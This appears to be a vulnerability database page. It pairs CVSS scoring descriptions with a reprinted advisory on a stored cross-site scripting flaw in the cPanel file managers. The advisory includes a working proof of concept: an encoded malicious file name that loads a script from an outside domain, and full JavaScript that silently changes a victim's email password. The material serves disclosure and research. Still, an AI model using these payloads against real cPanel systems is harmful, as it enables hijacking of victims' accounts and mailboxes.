The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Cpanel File Manager XSS Vulnerability
Synopsis
-------------
Cpanel (www.cpanel.net) has two file manager application, standard and legacy one to manage files. Both of them are vulnerable to XSS attack. File name is presented unescaped so that an attacker can craft malicious file name to execute script on behalf of victims.
Version
-----------
this vulnerability was found on cpanel version 11.24.4-CURRENT
exploit here is already tested on: Firefox 3.0.7 and IE 8.0
Details
----------
legacy file manager (lfm) is more vulnerable than the standard one. In legacy file manager, only by viewing list of files, attacker code can be executed. In standard file manager, list of file is well escaped, but attacker still can inject script when victims click on any of these task: delete, copy, move, rename, edit, change permissions, extract, compress on file with malicious name.
to make browser load and execute external script, attacker can't directly use <script> tag because slash character is forbidden in file name. To overcome that restriction, attacker can inject script via <img> tag onError attribute and set src attribute with empty string to force error event always triggered. the script injected via <img> tag generate <script> tag to execute external script by using document.write() function.
PoC exploit
-----------------
malicious file name:
<img src='' onerror='document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,108,109,117,104,97,99,107,105,110,103,46,99,111,109,47,120,46,106,115,62,60,47,115,99,114,105,112,116,62))'>
that <img> generate this html tag to make browser load and execute external script:
<script src=http://ilmuhacking.com/x.js></script>
that poc exploit works for both file manager application (standard and legacy).
PoC payload: change victim email password
----------------------------------------------------------------
by making POST request using ajax functions to /frontend/x3/mail/dopasswdpop.html attacker can change one of victim email password. the script below is an example payload that executed from external url.
----------------
var http_request = false;
function makePOSTRequest(url, parameters) {
http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
http_request.overrideMimeType('text/html');
}
} else if (window.ActiveXObject) { // IE
try {
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {}
}
}
if (!http_request) {
alert('Cannot create XMLHTTP instance');
return false;
}
http_request.onreadystatechange = alertContents;
http_request.open('POST', url, true);
http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http_request.setRequestHeader("Content-length", parameters.length);
http_request.setRequestHeader("Connection", "close");
http_request.send(parameters);
}
function alertContents() {
if (http_request.readyState == 4) {
if (http_request.status == 200) {
result = http_request.responseText;
alert(result);
} else {
alert('There was a problem with the request.');
}
}
}
var poststr = "quota=" + encodeURI("250") + "&password2=" + encodeURI("newpassword") +
"&password=" + encodeURI("newpassword") + "&email=" + encodeURI("testemail") +
"&domain=" + encodeURI("ilmuhacking.com");
makePOSTRequest('/frontend/x3/mail/dopasswdpop.html', poststr);
CREDITS
------------------
This vulnerability has been discovered by Rizki Wicaksono ( http://www.ilmuhacking.com )
The Indonesian article at http://www.ilmuhacking.com/web-security/cpanel-file-manager-xss-attack/ gives more detail about this vulnerability.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum